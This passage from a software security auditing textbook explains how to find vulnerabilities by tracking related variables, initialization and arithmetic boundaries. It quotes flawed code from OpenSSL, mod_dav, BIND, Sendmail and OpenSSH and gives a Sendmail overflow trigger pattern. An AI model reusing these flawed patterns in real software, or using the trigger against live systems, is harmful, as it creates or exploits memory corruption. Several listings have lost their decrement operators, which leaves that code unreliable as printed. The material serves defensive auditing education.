
{ 

 

    al=SSL_AD_ILLEGAL_PARAMETER; 

    SSLerr(SSL_F_DTLS1_GET_MESSAGE_FRAGMENT, 

           SSL_R_EXCESSIVE_MESSAGE_SIZE); 

    goto f_err; 

} 

 

if ( frag_len + s->init_num > 

    (INT_MAX - DTLS1_HM_HEADER_LENGTH)) 

{ 

    al=SSL_AD_ILLEGAL_PARAMETER; 

    SSLerr(SSL_F_DTLS1_GET_MESSAGE_FRAGMENT, 

           SSL_R_EXCESSIVE_MESSAGE_SIZE); 

    goto f_err; 

} 

 

if ( frag_len & 

     !BUF_MEM_grow_clean(s->init_buf, (int)frag_len + 

                    DTLS1_HM_HEADER_LENGTH + s->init_num)) 

{ 

    SSLerr(SSL_F_DTLS1_GET_MESSAGE_FRAGMENT, 

           ERR_R_BUF_LIB); 
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    goto err; 

} 

 

if ( s->d1->r_msg_hdr.frag_off == 0) 

 

{ 

    s->s3->tmp.message_type = msg_hdr.type; 

    s->d1->r_msg_hdr.type = msg_hdr.type; 

    s->d1->r_msg_hdr.msg_len = l; 

    /* s->d1->r_msg_hdr.seq = seq_num; */ 

} 

 

/* XDTLS:  ressurect this when restart is in place */ 

s->state=stn; 

 

/* next state (stn) */ 

p = (unsigned char *)s->init_buf->data; 

 

if ( frag_len > 0) 

{ 

    i=s->method->ssl_read_bytes(s,SSL3_RT_HANDSHAKE, 

                                      &p[s->init_num], 

                                      frag_len,0); 

    /* XDTLS:  fix thismessage fragments cannot 

               span multiple packets */ 

    if (i <= 0) 

    { 

        s->rwstate=SSL_READING; 

        *ok = 0; 

        return i; 

    } 

} 

else 

   i = 0; 

 

Did you spot the bug? There is a mistake in one of the length checks where the 

developers use a bitwise AND operator (&) instead of a logical AND operator (&&). 

Specifically, the statement should read: 

if ( frag_len && 

     !BUF_MEM_grow_clean(s->init_buf, (int)frag_len + 

             DTLS1_HM_HEADER_LENGTH + s->init_num)) 
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This simple mistake could lead to memory corruption if the BUF_MEM_grow_clean() 

function were to fail. This function returns 0 upon failure, which will be set to 1 by the 

logical not operator. Then, a bitwise AND operation with frag_len will occur. So, in the 

case of failure, the malformed statement is really doing the following: 

if(frag_len & 1) 

{ 

     SSLerr(...); 

} 

 
 

7.2.10 Summary 

This chapter has covered nuances of the C programming language that can lead to 

subtle and complex vulnerabilities. This background should enable you to identify 

problems that can occur with operator handling, type conversions, arithmetic 

operations, and common C typos. However, the complex nature of this topic does not 

lend itself to complete understanding in just one pass. Therefore, refer back to this 

material as needed when conducting application assessments. After all, even the best 

code auditor can easily miss subtle errors that could result in severe vulnerabilities. 

7.3 Chapter 7.  Program Building Blocks 

"The secret to creativity is knowing how to hide your sources." 

Albert Einstein 

 

7.3.1 Introduction 

When reviewing applications, certain constructs tend to appear over and over again. 

These recurring patterns are the natural result of programmers worldwide solving 

similar small technical problems as they develop applications. These small problems 

are often a result of the application's problem-domain, such as needing a particular 

data structure or algorithm for the quick retrieval or sorting of a certain type of data 

element. They can also result from technical details of the program's target 

environment or the capabilities and limitations of the programming language itself. 

For example, most applications written in C have code for manipulating string bytes 

and handling dynamic memory allocation. 

From a security review perspective, it proves useful to study these recurring code 

patterns, focusing on areas where developers might make security-relevant mistakes. 

Armed with this knowledge, you can quickly identify and evaluate problem-causing 
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behaviors and patterns in the code you encounter. You can also adapt more quickly 

when you encounter new codebases. Over time, you will find that it becomes easier to 

recognize the intent and meaning of unfamiliar code because you can spot familiar 

patterns and activities. This chapter explores these common code constructs and 

patterns and helps you identify where developers are prone to making 

security-relevant mistakes. 

7.3.2 Auditing Variable Use 

Variables are objects used to store data elements that have some relevance to an 

application. They are given meaning by the way they're used: what's stored in them, 

what operations are performed on them, and what they represent. A large part of 

code auditing is based on understanding variables, their relationships to each other, 

and how an application can be affected adversely by unexpected manipulation of 

these relationships. This section discusses different techniques for recognizing 

variable and data structure misuse and presents several examples in popular 

applications to help reinforce the concepts. 

Variable Relationships 

Variables are related to each other if their values depend on each other in some 

fashion, or they are used together to represent some sort of application state. For 

example, a function might have one variable that points to a writeable location in a 

buffer and one variable that keeps track of the amount of space left in that buffer. 

These variables are related to each other, and their values should change in lockstep 

as the buffer is manipulated. The more variables used to represent state, the higher 

the chances that the variables can be manipulated to subvert the variable 

relationships, which can lead to an overall inconsistent state. As a code auditor, you 

must search for variables that are related to each other, determine their intended 

relationships, and then determine whether there's a way to desynchronize these 

variables from each other. This usually means finding a block of code that alters one 

variable in a fashion inconsistent with the other variables. Examples of this type of 

vulnerability can range from simple errors involving two variables in a loop to 

complicated ones involving many variables across multiple program modules that 

combine to represent complex state. 

First, take a look at Listing 7-1, an example from the mod_dav Apache module. This 

code deals with CDATA XML elements. 

Listing 7-1. Apache mod_dav CDATA Parsing Vulnerability 

    cdata = s = apr_palloc(pool, len + 1); 

 

    for (scan = elem->first_cdata.first; scan != NULL; 

         scan = scan->next) { 
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        tlen = strlen(scan->text); 

        memcpy(s, scan->text, tlen); 

        s += tlen; 

    } 

 

    for (child = elem->first_child; child != NULL; 

         child = child->next) { 

        for (scan = child->following_cdata.first; 

             scan != NULL; 

             scan = scan->next) { 

            tlen = strlen(scan->text); 

            memcpy(s, scan->text, tlen); 

            s += tlen; 

        } 

    } 

 

    *s = '\0'; 

 

In Listing 7-1, you can see that a data buffer, s (also set to cdata), is allocated via 

apr_palloc(), and then string data elements from two linked lists 

(elem->first_cdata.first and elem->first_child) are copied into the data buffer. 

The length of the cdata buffer, len, was calculated previously by two similar loops 

through the linked lists. At this point, you have two related variables you're interested 

in: a pointer to the buffer, cdata, and a variable representing the buffer's length, len. 

The preceding code is fine, but see what happens when mod_dav attempts to trim the 

buffer by pruning whitespace characters: 

   if (strip_white) { 

       /* trim leading whitespace */ 

       while (apr_isspace(*cdata)) /* assume: return false 

                                    * for '\0' */ 

           ++cdata; 

 

       /* trim trailing whitespace */ 

       while (len  > 0 && apr_isspace(cdata[len])) 

           continue; 

       cdata[len + 1] = '\0'; 

   } 

 

   return cdata; 

} 
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The leading spaces are skipped by incrementing the cdata variable; however, the len 

variable doesn't get decremented to reflect the buffer's shrinking size. The 

relationship between the two variables has been rendered invalid. Therefore, when 

the trailing spaces are trimmed in the second while loop, the cdata[len] location can 

point outside the bounds of the buffer. 

The previous example shows a reasonably straightforward error. Usually 

vulnerabilities of this nature are far more complicated because of several related 

variables combining to represent application state or complex code paths that allow 

more opportunities for variables to be desynchronized from one another. To see an 

example of these code paths, take a look at Listing 7-2, from the BIND 9.2.1 resolver 

code. This code has been shortened because it's quite long and rather difficult to 

follow. 

Listing 7-2. Bind 9.2.1 Resolver Code gethostans() Vulnerability 

static struct hostent * 

gethostans(struct irs_ho *this, 

       const u_char *ansbuf, int anslen, 

       const char *qname, int qtype, 

       int af, int size,    /* meaningless for addrinfo cases */ 

       struct addrinfo **ret_aip, const struct addrinfo *pai) 

{ 

    struct pvt *pvt = (struct pvt *)this->private; 

    int type, class, buflen, ancount, qdcount, n, 

        haveanswer, had_error; 

    int error = NETDB_SUCCESS, arcount; 

    int (*name_ok)(const char *); 

    const HEADER *hp; 

    const u_char *eom; 

    const u_char *eor; 

    const u_char *cp; 

    const char *tname; 

    const char *hname; 

    char *bp, **ap, **hap; 

    char tbuf[MAXDNAME+1]; 

    struct addrinfo sentinel, *cur, ai; 

    const u_char *arp = NULL; 

    ... 

    eom = ansbuf + anslen; 

    ... 

    bp = pvt->hostbuf; 

    buflen = sizeof pvt->hostbuf; 

    cp = ansbuf + HFIXEDSZ; 

    ... 
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    haveanswer = 0; 

    had_error = 0; 

    while (ancount > 0 && cp < eom && !had_error) { 

 

Now look at the variables in play in the preceding code. Coming into this function, 

ansbuf is a pointer to a DNS response packet, and cp points to the first record in the 

packet after the DNS header. The pvt->hostbuf buffer holds hostnames read in from 

the DNS response. The buflen variable represents the amount of space left in the 

hostbuf buffer, and it's updated accordingly as the buffer is written into with each 

response from the packet. The bp variable holds the current write location in the 

hostname buffer. So every time bp is incremented to point further into the buffer, 

buflen should be decremented by the same amount. The while loop at the end 

iterates through each answer in the DNS response packet (as tracked by anscount), 

making sure it doesn't read past the end of the packet (stored in eom). 

The following code handles extracting hostnames from a CNAME answer to a query. It's 

correct from a security perspective and should give you a little insight into the use of 

variables: 

     ... 

 

     if ((qtype == T_A || qtype == T_AAAA || 

          qtype == ns_t_a6 || qtype == T_ANY) 

         && type == T_CNAME) { 

         if (ap >= &pvt->host_aliases[MAXALIASES-1]) 

             continue; 

         n = dn_expand(ansbuf, eor, cp, tbuf, sizeof tbuf); 

         if (n < 0 || !maybe_ok(pvt->res, tbuf, name_ok)) { 

             had_error++; 

             continue; 

         } 

         cp += n; 

         /* Store alias. */ 

          *ap++ = bp; 

         ... 

         n = strlen(tbuf) + 1;    /* for the \0 */ 

         if (n > buflen || n > MAXHOSTNAMELEN) { 

             had_error++; 

             continue; 

         } 

         strcpy(bp, tbuf); 

         pvt->host.h_name = bp; 

         hname = bp; 
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         bp += n; 

         buflen -= n; 

         continue; 

 

Basically, if the query is a request for an IP address (qtype=), and the server responds 

with a CNAME, which is an alias, the program needs to record the alias into a list 

(pvt->host_aliases) and place the hostname into the pvt->hostbuf buffer. If there's 

room in the alias list, BIND uses dn_expand() to pull the hostname out of the packet 

into the temporary buffer tbuf. If this name is okay, the alias is stored in the 

hostname buffer. Note that the relationship highlighted earlier about bp and buflen 

moving in lockstep has been preserved. A code reviewer focusing on this relationship 

will see one case in which desynchronizing bp from buflen is possiblespecifically, when 

converting information related to A and AAAA records. The offending code is bolded in 

the following excerpt: 

     case T_A: 

     case T_AAAA: 

 

     convertinfo:  /* convert addrinfo into hostent form */ 

 

     ... 

 

        if (ret_aip) { /* need addrinfo. keep it. */ 

            while (cur && cur->ai_next) 

                cur = cur->ai_next; 

        } else if (cur->ai_next) { /* need hostent */ 

            struct addrinfo *aip = cur->ai_next; 

 

            for (aip = cur->ai_next; aip; 

                 aip = aip->ai_next) { 

                int m; 

 

                m = add_hostent(pvt, bp, hap, aip); 

                if (m < 0) { 

                    had_error++; 

                    break; 

                } 

                if (m == 0) 

                    continue; 

                if (hap < &pvt->h_addr_ptrs[MAXADDRS-1]) 

                    hap++; 

 

                bp += m; 

            } 
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            freeaddrinfo(cur->ai_next); 

            cur->ai_next = NULL; 

        } 

        cp += n; 

        break; 

    default: 

        abort(); 

    } 

    if (!had_error) 

        haveanswer++; 

} 

 

As you can see, the bp variable is updated without buflen being decremented, thus 

desynchronizing the two variables. This introduces the possibility for clients to send 

malformed DNS responses with multiple A and AAAA responses that aren't stored 

correctly; consequently, the pvt->hostbuf variable can be overflowed. This 

vulnerability has since been fixed by removing this variable relationship to ensure 

that another bug like this doesn't occur. Instead of having a buflen variable, a pointer 

variable, ep, is introduced that's statically set to the end of the buffer. Even though 

this variable is also related to bp, the relationship is safer, as ep never has to move 

and, therefore, can never be desynchronized. In a situation like this, you should try to 

identify parts of code where bp is incremented past ep and a subtraction of the two 

pointers (ep - bp) is converted to a large positive integer that is passed as a length 

argument. 

The previous example demonstrated a length variable not being updated correctly to 

reflect the remaining space in a buffer. Despite the amount of code in this function, 

it's still a straightforward example, in that only two variables constituted the state you 

were attempting to desynchronize. Sometimes multiple variables interrelate to 

represent a more complicated state, as in Listing 7-3, which consists of code from 

Sendmail 8.11.x. 

Listing 7-3. Sendmail crackaddr() Related Variables Vulnerability 

char * 

crackaddr(addr) 

        register char *addr; 

{ 

        register char *p; 

        register char c; 

        int cmtlev; 

        int realcmtlev; 

        int anglelev, realanglelev; 
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        int copylev; 

        int bracklev; 

        bool qmode; 

        bool realqmode; 

        bool skipping; 

        bool putgmac = false; 

        bool quoteit = false; 

        bool gotangle = false; 

        bool gotcolon = false; 

        register char *bp; 

        char *buflim; 

        char *bufhead; 

        char *addrhead; 

        static char buf[MAXNAME + 1]; 

 

    ... 

 

        bp = bufhead = buf; 

        buflim = &buf[sizeof buf - 7]; 

        p = addrhead = addr; 

        copylev = anglelev = realanglelev = cmtlev = 

            realcmtlev = 0; 

        bracklev = 0; 

        qmode = realqmode = false; 

 

        while ((c = *p++) != '\0') 

        { 

                /* 

                **  If the buffer is overfull, go into a 

                **  special "skipping" mode that tries to 

                **  keep legal syntax but doesn't actually 

                **  output things 

                */ 

 

                skipping = bp >= buflim; 

 

Listing 7-3 shows the initial setup of the crackaddr() function, which is used to check 

the syntax of a supplied e-mail address (as well as output it to the buf character 

array). Here, several variables combine to represent the function's state. (All 

variables ending in lev indicate some level of nested address components.) The 

skipping mode variable is used to indicate that no more output buffer space remains, 

and several other variables represent different aspects of the input string (and its 

validity). The following code shows a little more of the processing in this function. 
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     /* check for comments */ 

         if (c == '(') 

         { 

                 cmtlev++; 

 

                 /* allow space for closing paren */ 

                 if (!skipping) 

                 { 

                         buflim; 

                         realcmtlev++; 

                         if (copylev++ <= 0) 

                         { 

                                 if (bp != bufhead) 

                                         *bp++ = ' '; 

                                 *bp++ = c; 

                         } 

                 } 

        } 

        if (cmtlev > 0) 

        { 

                if (c == ')') 

                { 

                        cmtlev; 

                        copylev; 

                        if (!skipping) 

                        { 

                                realcmtlev; 

                                buflim++; 

                        } 

 

                } 

                continue; 

        } 

 

      ... 

 

        if (c == '>') 

        { 

                if (anglelev > 0) 

                { 

                        anglelev; 

                        if (!skipping) 

                        { 

                                realanglelev; 
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                                buflim++; 

                        } 

                } 

                else if (!skipping) 

                { 

                        /* syntax error: unmatched > */ 

                        if (copylev > 0) 

                                bp; 

                        quoteit = true; 

                        continue; 

                } 

                if (copylev++ <= 0) 

                        *bp++ = c; 

                continue; 

        } 

 

In some cases, the output buffer is written to without checking the skipping mode 

variable to make sure enough space is leftnamely, when dealing with the angle 

bracket character (>). After studying the code, you can see recurring patterns that 

users can supply to cause these characters to be written outside the buffer's bounds. 

Specifically, when an angle bracket character is supplied, it can be written to the 

output buffer despite skipping mode being on, as long as copylev is less than or equal 

to zero. When the angle character is written, copylev is incremented, so you need a 

way to decrement it back to zero. It turns out that you can decrement copylev by 

supplying a closed parenthesis character as long as cmtlev is greater than 0, which 

you can ensure by supplying an open parenthesis character first. Therefore, the 

pattern ()>()>()>... causes a number of > characters to be written outside the buffer's 

bounds. This bug has two root causes: There are places when characters can be 

written to an output buffer despite skipping mode being on, and the lev variables 

aren't incremented and decremented equally by characters enclosing an address 

component, such as (and), when skipping mode is on. 

When you begin to examine a new function, it's a good idea to go through the code 

quickly and identify any relationships such as this one in the function. Then make one 

pass to see whether any variables can be desynchronized. A well-designed application 

tends to keep variable relationships to a minimum. Developers often conceal complex 

relationships in separate subsystems so that the internals aren't exposed to callers; 

concealing variables in this manner is known as data hiding and is generally 

considered good programming form. However, data hiding can make your job harder 

by spreading complex relationships across multiple files and functions. Examples of 

data hiding include private variables in a C++ class and the buffer management 

subsystem in OpenSSH. You see an example in the next section of a 

desynchronization vulnerability in this buffer management subsystem. 
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Structure and Object Mismanagement 

Applications often use large structures to manage program and session state, and 

group related data elements. Indeed, the essence of object-oriented programming 

encourages this behavior, so code reviewers are often confronted with code that 

makes extensive use of opaque objects or structures, which are often manipulated 

through insufficiently documented interfaces. Code reviewers must familiarize 

themselves with these interfaces to learn the purpose of objects and their constituent 

members. 

As discussed in the previous section, the more related variables there are in a part of 

an application, the higher the likelihood for an inconsistent state error. One goal of 

auditing object-oriented code should be to determine whether it's possible to 

desynchronize related structure members or leave them in an unexpected or 

inconsistent state to cause the application to perform some sort of unanticipated 

operation. For example, OpenSSH makes extensive use of dynamic resizable data 

buffers throughout the application. The routine responsible for initializing the buffer 

structure, buffer_init(), is shown in Listing 7-4. 

Listing 7-4. OpenSSH 3.6.1 Buffer Corruption Vulnerability 

/* Initializes the buffer structure. */ 

 

void 

buffer_init(Buffer *buffer) 

{ 

   buffer->alloc = 4096; 

   buffer->buf = xmalloc(buffer->alloc); 

   buffer->offset = 0; 

   buffer->end = 0; 

} 

 

From this, you can deduce that the buf and alloc variable share a relationship: The 

alloc member should always represent the amount of bytes allocated in the buffer. 

By examining the other buffer_* functions, you can deduce several more 

relationshipsnamely, that offset and end are offsets into a buffer, and both must be 

less than alloc, and offset should be less than end. If these relationships are not 

followed, the code might contain integer underflow problems. Therefore, when 

reviewing this application, you must determine whether any of these variable 

relationships can be violated, as the resulting inconsistent state could cause a buffer 

overflow. 
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In this code, two variables could become desynchronized in one instance: the buf and 

alloc variables. This problem occurs in buffer_append_space(), which is shown in the 

following code: 

/* 

 * Appends space to the buffer, expanding the buffer if 

 * necessary. This does not actually copy the data into the 

 * buffer, but instead returns a pointer to the allocated 

 * region. 

*/ 

 

 

 

void * 

buffer_append_space(Buffer *buffer, u_int len) 

{ 

    void *p; 

 

    if (len > 0x100000) 

        fatal("buffer_append_space: len %u not supported", len); 

 

    /* If the buffer is empty, start using it from the beginning. */ 

    if (buffer->offset == buffer->end) { 

        buffer->offset = 0; 

        buffer->end = 0; 

    } 

restart: 

    /* If there is enough space to store all data, store it 

       now. */ 

    if (buffer->end + len < buffer->alloc) { 

        p = buffer->buf + buffer->end; 

        buffer->end += len; 

        return p; 

    } 

    /* 

     * If the buffer is quite empty, but all data is at 

     * the end, move the data to the beginning and retry. 

     */ 

    if (buffer->offset > buffer->alloc / 2) { 

        memmove(buffer->buf, buffer->buf + buffer->offset, 

        buffer->end - buffer->offset); 

        buffer->end -= buffer->offset; 

        buffer->offset = 0; 

        goto restart; 

    } 
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    /* Increase the size of the buffer and retry. */ 

    buffer->alloc += len + 32768; 

    if (buffer->alloc > 0xa00000) 

        fatal("buffer_append_space: alloc %u not supported", 

               buffer->alloc); 

    buffer->buf = xrealloc(buffer->buf, buffer->alloc); 

    goto restart; 

    /* NOTREACHED */ 

} 

 

The alloc variable is incremented by a certain amount, thus making it inconsistent 

with the amount of data that was allocated in buf. Afterward, buf is reallocated so that 

the structure is consistent when it's returned to the calling function, but the developer 

didn't consider the implications of the xrealloc() function failing or the length check 

of alloc against the constant value 0xa00000 failing. Both failures result in the fatal() 

function being called eventually. If the length check fails or xrealloc() fails, fatal() 

is called immediately. The xrealloc() implementation is shown in the following code: 

void * 

xrealloc(void *ptr, size_t new_size) 

{ 

    void *new_ptr; 

 

    if (new_size == 0) 

        fatal("xrealloc: zero size"); 

    if (ptr == NULL) 

        new_ptr = malloc(new_size); 

    else 

        new_ptr = realloc(ptr, new_size); 

    if (new_ptr == NULL) 

        fatal("xrealloc: out of memory (new_size %lu bytes)", 

              (u_long) new_size); 

    return new_ptr; 

} 

 

You can see that xrealloc() also calls fatal() upon failure. Further investigation 

reveals that the fatal() function cleans up several global variables, including buffers 

used for handling data input and output with the buffer_free() routine, which is 

shown here: 

/* Frees any memory used for the buffer. */ 

 

void 
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buffer_free(Buffer *buffer) 

{ 

    memset(buffer->buf, 0, buffer->alloc); 

    xfree(buffer->buf); 

} 

 

Therefore, if an allocation fails or the inbuilt size threshold is reached, and the buffer 

being resized is one of those global variables, the memset() function in buffer_free() 

writes a large amount of data past the end of the allocated buffer. Several other 

cleanup functions are subsequently called, allowing an opportunity for exploitation. 

This example highlights how structure mismanagement bugs tend to be quite subtle, 

as the code to manage structures is spread out into several small functions that are 

individually quite simple. Therefore, any vulnerabilities tend to be a result of 

aggregate, emergent behavior occurring across multiple functions. One major 

problem area in this structure management code is low-level language issues, such as 

type conversion, negative values, arithmetic boundaries, and pointer arithmetic 

(discussed in Chapter 6(? [????.]), "C Language Issues"). The reason is that 

management code tends to perform a lot of length calculations and comparisons. 

Recall the OpenSSL example of dealing with arithmetic boundaries (see Listing 7-10). 

You were able to pass a negative value to the BUF_MEM_grow() function, which is 

responsible for buffer management in the OpenSSL libraries. Listing 7-5 shows the 

internals of how that function works. 

Listing 7-5. OpenSSL BUF_MEM_grow() Signed Variable Desynchronization 

typedef struct buf_mem_st 

        { 

        int length;     /* current number of bytes */ 

        char *data; 

        int max;        /* size of buffer */ 

        } BUF_MEM; 

 

... 

 

int BUF_MEM_grow(BUF_MEM *str, int len) 

        { 

        char *ret; 

        unsigned int n; 

 

        if (str->length >= len) 

                { 

                str->length=len; 

                return(len); 
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                } 

        if (str->max >= len) 

                { 

                memset(&str->data[str->length],0, 

                       len-str->length); 

                str->length=len; 

                return(len); 

                } 

        n=(len+3)/3*4; 

        if (str->data == NULL) 

                ret=OPENSSL_malloc(n); 

        else 

                ret=OPENSSL_realloc(str->data,n); 

        if (ret == NULL) 

                { 

                BUFerr(BUF_F_BUF_MEM_GROW,ERR_R_MALLOC_FAILURE); 

                len=0; 

                } 

        else 

                { 

                str->data=ret; 

                str->length=len; 

                str->max=n; 

                } 

        return(len); 

        } 

 

As you can see, this structure represents lengths with signed integers. The code is 

quite dangerous in this context, as all comparisons in the function aren't taking 

negative values into account correctly. You can see that if this function receives a 

negative length value, the first comparison succeeds, and the program erroneously 

determines that enough free space already exists in the currently allocated buffer. 

Code reviewers must look for any place where a negative length could be supplied to 

this function because doing so would desynchronize data from length. 

Naturally, when reviewing object-oriented code (such as C++ or Java applications), 

related variables are often sorted into classes. You have already looked at simple 

inconsistencies in objects related to uninitialized variables; however, a broader range 

of concerns stem from an object being left in an inconsistent state. The process for 

finding these vulnerabilities is similar to the OpenSSH example: Identify the manner 

in which variables relate to each other, and attempt to determine whether a code path 

exists in which these variables can be updated in an unexpected way. Implicit 

member functions are a major component of object-oriented languages, and code 
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auditors will likely find more potential for subtle vulnerabilities caused by incorrect 

assumptions about the behavior of implicit member functions, such as overloaded 

operators. 

Auditing Tip 

Determine what each variable in the definition means and how each variable relates 

to the others. After you understand the relationships, check the member functions or 

interface functions to determine whether inconsistencies could occur in identified 

variable relationships. To do this, identify code paths in which one variable is updated 

and the other one isn't. 

 

 

Variable Initialization 

Occasionally, programmers make the mistake of reading a value from a variable 

before it has been initialized. This happens primarily in two circumstances: 

 The programmer intended for the variable to be initialized at the beginning of 

the function but forgot to specify an initializer during the declaration. 

 A code path exists where the variable is accidentally used without ever being 

initialized. 

A variable initialization error results in uninitialized (and, therefore, undefined) data 

from a location in memory where the variable resides (typically, the program stack or 

heap) being interpreted and given meaning. In many cases, attackers can influence 

these memory areas and take advantage of the error to gain control of the process 

containing the offending code. In any event, unexpected data presents the 

opportunity to take unexpected code paths, which often has undesirable results. 

Listing 7-6 is a simple example. 

Listing 7-6. Uninitialized Variable Usage 

int login(char *login_string) 

{ 

    char *user, *style, *ptr; 

 

    ptr = strchr(login_string, ':'); 

 

    if(ptr){ 

        *ptr = '\0'; 

        user = strdup(login_string); 

        style = strdup(ptr+1); 

        *ptr = ':'; 
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    } else 

        user = strdup(login_string); 

 

    ... 

 

    if(style){ 

        ... 

    } 

} 

 

Listing 7-6 accepts a login string containing a username and an optional login style 

identified by a colon in the login string. The code later takes an alternative code path 

based on the supplied login style. The problem is that if no style is supplied, the style 

variable never gets initialized, and accesses to it read random data from the program 

stack. With careful manipulation, attackers could influence the values that 

uninitialized variables take. Attacking this vulnerability is possible, although quite 

complex; attackers need to work out the order in which functions are called and their 

relative stack depththat is, if function X calls function Y followed by function Z, the 

local variables from function Y are left on the stack in roughly the same place where 

the function Z allocates space for its local variables. 

Most vulnerabilities of this nature occur when a function takes an abnormal code path. 

Functions that allocate a number of objects commonly have an epilogue that cleans 

up objects to avoid memory leaks when an error occurs. Consider the code in Listing 

7-7. 

Listing 7-7. Uninitialized Memory Buffer 

int process_data(int sockfd) 

{ 

    char *buf; 

    struct descriptor *desc; 

 

    ... 

 

    if(read_data(sockfd) < 0) 

        goto err; 

 

    ...    allocate buf and desc and process data normally ... 

 

    return 0; 

 

err: 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 331 

    if(buf) 

        free(buf); 

    if(desc) 

        free_descriptor(desc); 

 

    return 1; 

} 

 

If an error occurs during the call to read_data(), the buffer buf isn't allocated, nor is 

struct descriptor *desc. However, they are still freed in the err condition, potentially 

creating an exploitable situation. 

When auditing C++ code, pay close attention to member variables in objects, as 

unexpected code paths can leave objects in an inconsistent or partially uninitialized 

state. The best way to begin examining this code is usually by looking at constructor 

functions to see whether any constructors neglect to initialize certain elements of the 

object. Listing 7-8 shows a simple example. 

Listing 7-8. Uninitialized Object Attributes 

class netobj { 

    private: 

        char *data; 

        size_t datalen; 

   public: 

       netobj() { datalen = 0; } 

       ~netobj() { free(data); } 

       getdata() { return data; } 

       int setdata(char *d, int n) { 

           if(!(data = (char *)malloc(n))) 

               return -1; 

           memcpy(data, d, n); 

       } 

       ... 

} 

 

... 

 

int get_object(int fd) 

{ 

    char buf[1024]; 

    netobj obj; 

    int n; 
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    if((n = read(fd, buf, sizeof(buf))) < 0) 

        return -1; 

 

    obj.setdata(buf, n); 

    ... 

 

    return 0; 

} 

 

The example has an obvious problem: The constructor never initializes its data 

member. Therefore, if the call to read() fails, the destructor is automatically called 

during the function epilogue. The default destructor for this object then calls the free() 

function on the data member, which is an arbitrary value because it was never 

initialized, as obj.setdata() was never called. This example illustrates an important 

point: Bugs of this nature occurring in C++ applications can be far more subtle, as 

many operations occur implicitly. Code reviewers need to be mindful of these implicit 

operations (such as constructor/destructor calls, overloaded operators, and so on) 

when evaluating a piece of code. 

Auditing Tip 

When variables are read, determine whether a code path exists in which the variable 

is not initialized with a value. Pay close attention to cleanup epilogues that are 

jumped to from multiple locations in a function, as they are the most likely places 

where vulnerabilities of this nature might occur. Also, watch out for functions that 

assume variables are initialized elsewhere in the program. When you find this type of 

code, attempt to determine whether there's a way to call functions making these 

assumptions at points when those assumptions are incorrect. 

 

 

Arithmetic Boundaries 

Arithmetic boundaries are presented at length in Chapter 6(? [????.]). However, 

when auditing variable use you will find it helpful to have a structured process for 

identifying these vulnerabilities. The following three steps provide a good plan of 

attack: 

1.  Discover operations that, if a boundary condition could be triggered, would have 

security-related consequences (primarily length-based calculations and 

comparisons). 
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2.  Determine a set of values for each operand that trigger the relevant arithmetic 

boundary wrap. 

3.  Determine whether this code path can be reached with values within the set 

determined in step 2. 

The first step is usually simple. For auditors, it's common sense to determine whether 

an arithmetic operation would adversely affect an application. In some respects, any 

operation that can be undermined is detrimental to an application; however, 

problems should be considered in terms of severity, ranging from basic bugs to 

vulnerabilities that represent an imminent danger if exploited. You must also consider 

the context of the miscalculation. Depending on the nature of the application, an 

attacker might not be interested in a typical buffer length miscalculation. For example, 

a bank application that doesn't adequately handle negative values in transactions is 

potentially even more dangerous than a memory corruption vulnerability. 

After problem areas have been identified, step 2 requires finding a problem 

domainthat is, a set of values that could trigger the arithmetic boundary conditions. 

For example, the following code line performs a length check before a data copy: 

if (length + 32 > sizeof(buffer)) 

 

Assuming length is a 32-bit unsigned value, you can see that an integer wrap 

circumvents this check when length contains a value between 0xFFFFFFE0 and 

0xFFFFFFFF. Calculations involving multiple variables often have problem domains 

that aren't a continuous set of values, as shown in the following expression: 

if(length1 + length2 > sizeof(buffer)) 

 

In this example, the length check can be evaded as long as the sum of length1 and 

length2 overflow the zero boundary. It does not matter which variable takes a large 

value (or if both do), as long as both add up to a value larger than 0xFFFFFFFF. When 

assessing problems like these, you should record the location of the problem case, 

and then revisit it when you have some idea of the constraints placed on each 

variable. 

Finally, in step 3, you need to determine whether the code path can be reached when 

variables contain values within the problem domain. You can perform this step in a 

fairly straightforward manner: 

 Identify the data type of the variable involved Identifying the data type allows 

you to define an initial set of values the variable can take. If a problem domain 
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is 0xFFFFFFE0 through 0xFFFFFFFF, but the variable is a 16-bit unsigned 

integer, you can automatically discount the check because the variable can 

never take the values of the domain in question. (Note the use of unsigned: A 

signed 16-bit variable can take values in the problem domain if certain type 

conversions occur during the check.) 

 Determine the points at which the variable is assigned a value The next step is 

to identify where and how the variable is given a value. Pay attention to what 

default values the parameter can take, and note any special configurations 

that might make the application vulnerable. You also need to trace the values 

of other variables that are assigned to the suspect variable. If none of the 

assigned values can overlap with the problem domain, the operation can be 

marked as safe. 

 Determine the constraints on the variable from assignment until the 

vulnerable operation Now that you know an initial set of values and possible 

assignments, you must determine any restrictions placed on the variable in 

the vulnerable code path. Often the variable goes through a number of 

validation checks, which reduce the set of values the variable can take. You 

need to trace the variable through its use and determine what values are 

included in this reduced setknown as the validated domain. Any overlap 

between the problem domain and the validated domain represents 

vulnerability. 

 Determine supporting code path constraints In addition to the variable used in 

the vulnerable operation, other variables can play an important role in 

triggering the bug. You should record these additional variables and what 

values can lead to vulnerable code paths. 

Now that you understand how to identify arithmetic boundary conditions, try applying 

the process to the vulnerable code path in Listings 7-9 and 7-10. 

Listing 7-9. Arithmetic Vulnerability Example 

#define BLOB_MAX    1024 

 

unsigned char *read_blob(unsigned char *blob, size_t pktlen) 

{ 

   int bloblen; 

   unsigned char *buffer; 

 

   bloblen = ntohl(blob); 

 

   if(bloblen + sizeof(long) > pktlen || bloblen > BLOB_MAX) 

       return NULL; 

 

   buffer = alloc(bloblen); 
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   if(!buffer) 

       return NULL; 

 

   memcpy(buffer, blob+4, bloblen); 

 

   return buffer; 

} 

 

For the purposes of this discussion, assume that the alloc() function in Listing 7-9 is 

vulnerable to an integer overflow condition, and you want to identify an exploitable 

path to this function. To do this, you must first determine how to evade the length 

comparison performed by the bolded code line. On the left side of the comparison, 

bloblen needs to take on a value that, after the addition of 4, is less than pktlen. Even 

though bloblen is signed, it's converted to an unsigned integer for the left side of this 

comparison. This leaves you with a small problem domain: 0xFFFFFFFC through 

0xFFFFFFFF (-4 through -1). On the right side of the comparison, bloblen is treated as 

signed, so the problem domain is unchanged. To determine whether this function is 

vulnerable, you need to see how it's called, which is shown in Listing 7-10. 

Note 

The discussion of Listing 7-9 assumes a call to alloc() is vulnerable to an integer 

wrapping condition. In a real application, you would review alloc() and determine if 

this is the case, but it is a reasonable assumption. Custom allocation wrappers are 

often prone to a variety of arithmetic issues, as covered in "Auditing Memory 

Management(? [????.])," later in this chapter. 

 

 

